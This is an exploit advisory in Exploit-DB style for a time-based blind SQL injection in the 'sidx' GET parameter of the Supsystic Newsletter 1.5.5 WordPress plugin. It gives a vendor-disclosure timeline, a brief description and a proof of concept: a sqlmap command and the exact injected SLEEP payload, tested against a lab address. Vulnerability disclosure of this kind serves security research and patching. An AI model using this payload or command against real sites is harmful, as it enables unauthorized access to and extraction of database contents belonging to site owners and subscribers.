35 lines
No EOL
1.3 KiB
Text
35 lines
No EOL
1.3 KiB
Text
# Exploit Title: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection
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# Date: 24/07 2020
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# Exploit Author: Erik David Martin
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# Vendor Homepage: https://supsystic.com/
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# Software Link: https://downloads.wordpress.org/plugin/newsletter-by-supsystic.1.5.5.zip
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# Category: Web Application
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# Version: 1.5.5
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# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
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# 25/07 2020: Vendor notified
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# 27/07 2020: Vendor requested detailed information
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# 27/07 2020: Information provided
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# 07/08 2020: Nudged vendor. No reply
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# 22/08 2020: Nudged vendor. No reply
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# 04/10 2020: Nudged vendor. No reply
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# 29/11 2020: WordPress Plugin Security team contacted
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# 01/12 2020: Plugin/Project closed by WordPress Security team
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# 1. Description
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The GET parameter "sidx" does not sanitize user input when searching for existing subscribers.
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# 2. Proof of Concept (PoC)
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Use ZAP/Burp to capture the web request when searching for existing subscribers and save it to request.txt.
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Referer: http://192.168.0.49/wp-admin/admin.php?page=newsletters-supsystic&tab=subscribers
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sqlmap -r request.txt --dbms=mysql -p sidx
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Parameter: sidx (GET)
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Type: time-based blind
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Payload: mod=subscribers&action=getListForTbl&pl=nbs&reqType=ajax&search[text_like]=testing&search[search_list]=0&_search=false&nd=1595780014444&rows=25&page=0&sidx=id AND (SELECT 1511 FROM (SELECT(SLEEP(5)))gTHi)&sord=desc |